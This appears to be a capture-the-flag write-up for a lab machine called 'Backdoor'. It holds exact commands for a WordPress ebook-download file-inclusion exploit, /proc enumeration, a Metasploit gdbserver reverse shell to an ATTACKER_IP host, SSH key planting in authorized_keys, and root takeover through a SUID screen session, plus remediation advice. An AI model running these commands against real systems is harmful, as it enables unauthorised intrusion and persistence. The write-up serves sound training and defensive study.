Backdoor
Summary
Target backdoor ($TARGET) was fully compromised through a two-stage attack chain. An unauthenticated local file inclusion flaw in the WordPress ebook-download plugin (v1.1) let me read arbitrary files on disk — including Linux /proc entries that exposed a remote debugging service (gdbserver) silently listening on port 1337. Metasploit's gdbserver exploit module injected a reverse shell payload through the debugger protocol, landing a shell as the system user and capturing the user flag.
Privilege escalation required only a single command: the GNU screen binary on the host carried the SUID root bit, and root had left an active named screen session running. Any local user could attach to that session instantly, granting a root terminal and the final flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 1
nmap -sV -sC -p- --min-rate 5000 -T4 $TARGETExact commands 2
wpscan --url http://$TARGET --enumerate p --plugins-detection aggressivecurl -s "http://$TARGET/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/passwd"FixRemove the ebook-download WordPress plugin immediatelyCritical
Exact commands 2
for pid in $(seq 1 2000); do out=$(curl -s "http://$TARGET/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/$pid/cmdline" | tr '\0' ' '); [ -n "$out" ] && echo "$pid: $out"; donecurl -s "http://$TARGET/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/1845/cmdline" | tr '\0' ' 'Exact commands 2
msfconsole -q -x "use exploit/multi/gdb/gdb_server_exec; set RHOSTS $TARGET; set RPORT 1337; set PAYLOAD linux/x64/shell_reverse_tcp; set LHOST $ATTACKER_IP; set LPORT 4444; run"cat /home/user/user.txtFixRemove gdbserver from production systems and block all remote debugging ports at the firewallCritical
Exact commands 3
ssh-keygen -t rsa -b 2048 -f /tmp/backdoor_user_key -N ''mkdir -p /home/user/.ssh && chmod 700 /home/user/.ssh && echo '<contents of /tmp/backdoor_user_key.pub>' >> /home/user/.ssh/authorized_keys && chmod 600 /home/user/.ssh/authorized_keysssh -tt -i /tmp/backdoor_user_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null user@$TARGETExact commands 3
find / -perm -4000 -type f 2>/dev/nullscreen -listset -o pipefail; { sleep 1; printf 'whoami\ncat /root/root.txt\nexit\n'; sleep 1; } | timeout -k 3 12 ssh -tt -i /tmp/backdoor_user_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null user@$TARGET 'export TERM=xterm; screen -x root/root'FixRemove the SUID bit from GNU screen and prohibit unattended root terminal sessionsHigh
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
| 1337/tcp | waste? |